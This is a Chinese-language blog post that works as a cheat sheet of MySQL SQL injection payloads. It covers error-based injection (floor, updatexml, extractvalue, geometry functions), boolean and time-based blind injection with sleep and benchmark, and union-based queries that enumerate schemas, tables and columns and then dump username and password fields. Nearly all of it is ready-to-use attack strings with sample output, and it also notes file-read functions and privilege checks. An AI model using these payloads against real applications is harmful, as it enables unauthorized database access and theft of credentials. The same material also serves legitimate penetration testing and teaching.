mysql 注入方式

颓废 2019年5月19日10:54:46评论509 views字数 2964阅读9分52秒阅读模式

0x00 – 报错注入
mysql 报错注入, 我们有时候会遇到没有正常数据回显的注入. 这时候就需要报错注入来获得我们需要的数据.

我们经常用到的有 floor(),updatexml(),extractvalue() 通过查找资料发现还有一些函数.
由于这三个比较通用, 也就是在大部分 mysql 版本中都有, 其他的有些可能在低版本里没有.

floor()
语句:and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

mysql> select 1 and (select 1 from (select count(*),concat(version(),floor(rand
(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ‘5.5.401’ for key ‘group_key’
updatexml()
语句:and (updatexml(1,concat(0x3a,(select user())),1));
mysql> select 1 and (updatexml(1,concat(0x3a,(select user())),1));
ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’
ExtractValue()
和 upadtexml() 用法差不多
语句:and extractvalue(1, concat(0x5c, (select user())));
mysql> select 1 and extractvalue(1, concat(0x5c, (select user())));
ERROR 1105 (HY000): XPATH syntax error: ‘/root@localhost’
GeometryCollection() version> MySQL4.1
MultiPoint()
Polygon()
LineString()
MultiPolygon()
MultiPoint()
MultiLineString()
这几个是 mysql 在 4.1 版本之后引入的一系列空间扩展,使其具备了一定的空间处理能力.
语句都一样就列举了一个例子.
语句:AND GeometryCollection((select * from(select * from(select user())a)b));
mysql> select 1 AND GeometryCollection((select * from(select * from(select user(
))a)b));
ERROR 1367 (22007): Illegal non geometric ‘(select `b`.`user()` from (select ‘ro
ot@localhost’ AS `user()` from dual) `b`)’ value found during parsing
0x01 – 盲注
盲注分为两种
一种是普通盲注, 一种是基于时间又叫延时注入.
通过一些处理函数将我们需要获取的数据通过猜解的方式得到的方式.
查询数据库AND ascii(substring((select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1),1,1))=ascii码
查询用户长度 And (select length(user()))=12;
查询数据库and ascii(substr(database(),位数,1))=ascii;
查询用户and 1=(if(ascii(mid(user()from(位数)for(1)))=查询位数字符的ascii编码,1,0));
时间盲注
其实就是普通盲注加上了 if 判断
and if(ascii(mid(user()from(位数)for(1)))=ascii码,sleep(3),0)
and 1=if(ascii(mid((select user())from(1)for(1)))=114,sleep(3),0);
and 1=(select case when (ascii(mid(user()from(位数)for(1)))=ascii码) then benchmark(5*4000000,md5(1111)) else 0 end)=1
and 1=if(length(user())=长度,sleep(3),0);
aaa’XOR(if(ascii(mid(user()from(位数)for(1)))=查询位数字符的ascii编码,sleep(3),0))OR’bbb
and sleep(1-abs(sign(ascii(mid(lower(user())from(位数)for(1)))-ascii码)))
没有等于符号
每次取一个字符的 ascii 码,与列表中的 ascii 码逐一对比,取符号的绝对值。
如果相等,则符号是 0,绝对值是 0,会延迟。
若不等,则符号是 1 或 – 1,绝对值为 1,不延迟。
然后我们可以通过 py 脚本来快速得到数据.
0x02 – 常用 mysql 注入语句
查询数据库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着 mysql 的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
高级用法(一个可用字段显示两个数据内容):
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
system_user() 系统用户名
user() 用户名
current_user当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL 数据库版本
load_file() MYSQL 读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003
判断是否具有读写权限
and (select count(*) from mysql.user)>0/*
and (select count(file_priv) from mysql.user)>0/*

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
颓废
  • 本文由 发表于 2019年5月19日10:54:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   mysql 注入方式https://cn-sec.com/archives/68658.html

发表评论

匿名网友 填写信息